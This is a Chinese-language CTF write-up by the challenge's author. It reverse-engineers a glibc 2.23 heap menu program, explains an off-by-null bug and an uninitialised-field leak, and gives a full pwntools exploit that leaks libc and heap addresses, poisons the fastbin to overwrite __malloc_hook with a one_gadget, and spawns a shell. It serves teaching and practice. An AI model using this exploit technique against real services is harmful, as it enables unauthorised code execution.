前言
这是我出的一道赛题,主要考察 off-by-null 和对glibc源码的理解。靶场地址
562+5Liq5Yiw
检查文件信息
1
ELF64
位小端序程序,动态链接。
2
除了FODRTIFY
保护,其余保护全开。
patchelf --replace-needed libc.so.6 ./libc-2.23.so ./562+5Liq5Yiw
patchelf --set-interpreter ./ld-2.23.so ./562+5Liq5Yiw
将环境修改为题目的运行环境。
逆向分析
__int64 sub_A9D()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m");
puts("1.Add a Chicken.");
puts("2.Delete a Chicken.");
puts("3.Cook a chicken.");
puts("4.Chicken you are so beautiful.");
puts("5.EXIT.");
_isoc99_scanf("%d", &v1);
return v1;
}
sub_A9D()
函数为程序菜单。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h]
sub_A50(a1, a2, a3);
malloc(1uLL);
puts(
"==:.........................................................................=..::::..=:::::::::::\n"
"===-:.......................................................................=..=-:=:.=:.:::::::::\n"
"=====-......................................................................=..-:.=:.=:..::::::::\n"
"=======:.........................................:..........................=..:--=..=:...:::::::\n"
"========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
"==========-....................................:+**###+:....................=-::-----=:......::::\n"
"===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
"::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
"::::::--===-...........................#++++++#*-#++##:..........................................\n"
"::::::::-==-..........................*++++++++#:+++++*..........................................\n"
"::::::::::--..........................+++++++++#++#++++-.........................................\n"
"::::::::::::..........................#++++++++#++#++++=.........................................\n"
":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
"..:::::::::::::........................*+++++#++++++#++:.........................................\n"
"....:::::::::::::.......................#++++#=++++++#*..........................................\n"
"......:::::::::::::.....................++*##**#++++#=:..........................................\n"
"........:::::::::::::..................-==++++++*##*=:...........................................\n"
".........:::::::::::::................-======+==+++..............................................\n"
"...........:::::::::::::..............-===+++++++++-.............................................\n"
".............:::::::::::::...........:===++++++++++=:............................................\n"
"...............:::::::::::::.........===++*+-=***+++=............................................\n"
"................::::::::::::::......-=+++*=...-*++++=............................................\n"
"..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
"....................:::::::::::::..==+++-.......+++++-...........................................\n"
"......................::::::::::::-=++*=........:*+++=...........................................\n"
"........................::::::::::=+++-..........:+*++-.........................................:\n"
".........................::::::::-==+=:...........:+===........................................::\n"
"::::.......................:::::-==++::::..........====:......................................:::\n"
"::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
"::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
"::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v4 = sub_A9D();
if ( v4 != 1 )
break;
sub_BFC();
}
if ( v4 != 2 )
break;
sub_D28();
}
if ( v4 != 3 )
break;
sub_EB3();
}
if ( v4 != 4 )
break;
sub_1005();
}
return 0LL;
}
可以看到是一道菜单题。
__int64 sub_BFC()
{
int v1; // [rsp+4h] [rbp-Ch]
int *v2; // [rsp+8h] [rbp-8h]
v1 = sub_B34();
if ( v1 == -1 )
{
puts("\x1B[1;31m The chicken nest collapsed!!! \x1B[0m");
}
else
{
v2 = (int *)malloc(0x20uLL);
puts("\x1B[1;33m Give me the size of the chicken. \x1B[0m");
_isoc99_scanf("%d", v2);
*((_QWORD *)v2 + 1) = malloc(*v2);
*((_QWORD *)v2 + 3) = malloc(0x80uLL);
*((_QWORD *)v2 + 2) = malloc(0x20uLL);
puts("\x1B[1;33m Give me the name of the chicken. \x1B[0m");
sub_B74(*((_QWORD *)v2 + 1), (unsigned int)*v2);
puts("\x1B[1;33m Give the chicken a mark. \x1B[0m");
read(0, *((void **)v2 + 2), 0x20uLL);
dword_203060[v1] = 1;
qword_203080[v1] = v2;
}
return 0LL;
}
sub_BFC()
函数创建了一个结构体,并且可以自定义chicken
大小。数组qword_203080
记录了每一个chicken
,数组dword_203060
记录了qword_203060
的使用情况。可以向mark
和name
读入内容。并且未将v2+3
处的内容初始化,可能存在泄露。
struct Chicken {
int size;
void* name;
void* mark;
void* msg; // 后面分析得知,这里记载的菜名。
};
根据读入情况,不难分析出结构体的内容。
__int64 sub_B34()
{
int i; // [rsp+0h] [rbp-4h]
for ( i = 0; i <= 7; ++i )
{
if ( !dword_203060[i] )
return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}
sub_B34()
函数用于查看qword_203060
数组的使用情况。
char *__fastcall sub_B74(char *a1, int a2)
{
char *result; // rax
read(0, a1, a2);
result = &a1[a2];
*result &= ~1u;
return result;
}
sub_B74()
函数置零操作存在off-by-null
漏洞。
__int64 sub_D28()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you kill? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060[v1] )
{
*(_DWORD *)qword_203080[v1] = 0;
dword_203060[v1] = 0;
free(*(void **)(qword_203080[v1] + 8LL));
*(_QWORD *)(qword_203080[v1] + 8LL) = 0LL;
free(*(void **)(qword_203080[v1] + 16LL));
*(_QWORD *)(qword_203080[v1] + 16LL) = 0LL;
free(*(void **)(qword_203080[v1] + 24LL));
qword_203080[v1] = 0LL;
}
else
{
puts("\x1B[1;31m The chicken has already been cooked. \x1B[0m");
}
return 0LL;
}
sub_D28()
函数用于释放多块,没有问题。
__int64 sub_EB3()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you cook? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060[v1] )
{
puts("Old name");
puts(*(const char **)(qword_203080[v1] + 8LL));
puts("Give me new name.");
read(0, *(void **)(qword_203080[v1] + 8LL), *(int *)qword_203080[v1]);
puts("New name");
puts(*(const char **)(qword_203080[v1] + 8LL));
puts("Give me Cook name.");
sub_BC0(v1);
}
else
{
puts("\x1B[1;31m Ni gun ma i u. \x1B[0m");
}
return 0LL;
}
sub_EB3()
函数用于改名字,并记录菜名。
ssize_t __fastcall sub_BC0(int a1)
{
return read(0, *(void **)(qword_203080[a1] + 24LL), 0x80uLL);
}
sub_BC0()
函数用于读取菜名。
__int64 sub_1005()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 7; ++i )
{
printf("The chicken %d\n", (unsigned int)i);
if ( dword_203060[i] )
{
puts("\x1B[1;33m Name \x1B[0m");
puts(*(const char **)(qword_203080[i] + 8LL));
puts("\x1B[1;33m ErrMsg \x1B[0m");
puts(*(const char **)(qword_203080[i] + 24LL));
puts("\x1B[1;33m Mark \x1B[0m");
puts(*(const char **)(qword_203080[i] + 16LL));
}
}
return 0LL;
}
sub_1005()
函数用于打印所有信息。这里菜名被标记为ErrMsg
。
漏洞利用
我们可以通过sub_BFC()
函数未初始化的ErrMsg(菜名)
和sub_1005()
来进行信息泄露,得到heap
和libc
地址。然后利用off-by-null
漏洞制造堆块重叠,向fastbin
中写入__malloc_hook
地址,然后篡改其为one_gadget
来获取权限。
前置脚本
from pwn import *
#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_local = False
is_debug = True
def connect():
global elf, libc, p
elf = ELF('./562+5Liq5Yiw')
libc = ELF('./libc-2.23.so')
if is_local:
p = process('./562+5Liq5Yiw')
else:
p = remote('IP', port)
def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass
def Add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)
def Delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())
def Cook(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)
def Black():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')
定义了函数接口和前置操作。
泄露libc地址
def get_libc():
global __malloc_hook, libc_base
Add(0x20, b'a'*20, b'b'*20)
Delete(0)
Add(0x20, b'c'*20, b'd'*20)
Black()
p.recvuntil(b"0\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))-0x3c4b78
log.success("libc : 0x%x" % libc_base)
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
本题泄露利用unsorted bin
中保存的libc
地址与libc
基址的固定偏移获取libc
基址。因为结构体在初始化时并未初始化ErrMsg
的值,并且其大小为0x90
,我们申请一个结构体再将其释放,再次申请时可将其从unsorted bin
中申请出来,然后可以通过打印函数打印unsorted bin
中的内容。
3
在打印前下断点可以看到,此时ErrMsg
中保存的值为libc
地址。由于libc
中的地址固定偏移不受pie
和aslr
保护影响,可以由此计算出libc
基址。
泄露heap地址
def get_heap():
global heap_addr
Add(0x80, b'e'*0x20, b'f'*0x10) # 1
Add(0x80, b'g'*0x20, b'h'*0x10) # 2
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Delete(1)
Delete(3)
Add(0x20, b'i'*0x20, b'j'*0x10) # 1
Cook(1, b'a'*0x10, b'cccccccn');
Black()
p.recvuntil(b"1\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)
堆地址也可以通过unsorted bin
的bk
指针泄露,我们将两个不连续的non-fast
大小的堆块放入unsorted bin
中,由于unsorted bin
采取先进先出模式,所以我们会将结构体1
重新申请出来,它ErrMsg
的bk
位置便是结构体3
的地址。然后通过改名函数将ErrMsg
的前八个字节覆盖满,然后便可通过打印函数将堆地址泄露。
4
同样在打印前下一个断点,可以看到其bk
位置为一个堆地址。
通过修改__malloc_hook为one_gadget地址get_shell
def get_shell():
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4
Add(0x60, b'c'*0x10, b'd'*0x10) # 5
Add(0x60, b'e'*0x10, b'f'*0x10) # 6
Add(0x60, b'h'*0x10, b'j'*0x10) # 7
Delete(6)
Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6
Delete(6)
Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
Delete(0)
Delete(1)
Delete(2)
Add(0x60, b'a'*0x10, b'b'*0x10) # 0
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1
Delete(4)
因为Add
函数存在off-by-null
漏洞,所以我们可以制造一个堆块重叠,将一个fast chunk
包含在其中,这里需要注意的时,我们要绕过unlink
检查,需要将伪造的fake chunk
的fd
和bk
指向它本身。然后计算好偏移将fast chunk
的fd
位置改为__malloc_hook
附近包含__malloc_hook
大小的fake chunk
的位置。然后将__malloc_hook
改为one_gadget
。此时四个one_gadget
都无法打通,我们可以free
一个错误的chunk
来调用malloc_printerr
函数,这个函数中存在其他的调用,最后会调用到malloc
,然后便可调用one_gadget
。
5
通过find_fake_fast
来寻找__malloc_hook
附近的fake_chunk
。fake_chunk
的prev_size
距离__malloc_hook
有0x23大小。所以填充0x13
字节即可覆盖到目标地址。
6
我们可以通过k
来查看函数调用栈,发现free
报错后会在动态链接器调用malloc
。
7
可以在源码中发现,由于free
一个错误堆块调用了malloc_printerr
函数,最后在dl-error.c
调用了malloc
函数。
完整exp
from pwn import *
#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_debug = False
is_local = False
def connect():
global elf, libc, p
elf = ELF('./562+5Liq5Yiw')
libc = ELF('./libc-2.23.so')
if is_local:
p = process('./562+5Liq5Yiw')
else:
p = remote('IP', port)
def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass
def Add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)
def Delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())
def Cook(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)
def Black():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')
def get_libc():
global __malloc_hook, libc_base
Add(0x20, b'a'*20, b'b'*20) # 0 errmsg_0x90->unsorted
Delete(0) # errmsg_0x90->unsorted
Add(0x20, b'c'*20, b'd'*20) # 0 # unsorted->errmsg_0x90
Black()
#debug() # db1
p.recvuntil(b"0\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78
log.success("libc : 0x%x" % libc_base)
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
sleep(0.5)
def get_heap():
global heap_addr
Add(0x80, b'e'*0x20, b'f'*0x10) # 1
Add(0x80, b'g'*0x20, b'h'*0x10) # 2
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Delete(1)
Delete(3)
#debug() # db2
Add(0x20, b'i'*0x20, b'j'*0x10) # 1
Cook(1, b'a'*0x10, b'cccccccn')
Black()
#debug() # db3
p.recvuntil(b"1\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)
sleep(0.5)
def get_shell():
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4 first 0x71
Add(0x60, b'c'*0x10, b'd'*0x10) # 5
Add(0x60, b'e'*0x10, b'f'*0x10) # 6
Add(0x60, b'h'*0x10, b'j'*0x10) # 7
#debug() # db4
Delete(6)
#debug() # db5
Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
#debug() # db6
Delete(6)
#debug() # db7
Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
#debug() # db8
Delete(0)
Delete(1)
Delete(2)
Add(0x60, b'a'*0x10, b'b'*0x10) # 0
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1
#gdb.attach(p, 'b *_dl_signal_error')
Delete(4)
#pause()
sleep(0.5)
def pwn():
connect()
get_libc()
get_heap()
get_shell()
p.interactive()
if __name__ == '__main__':
pwn()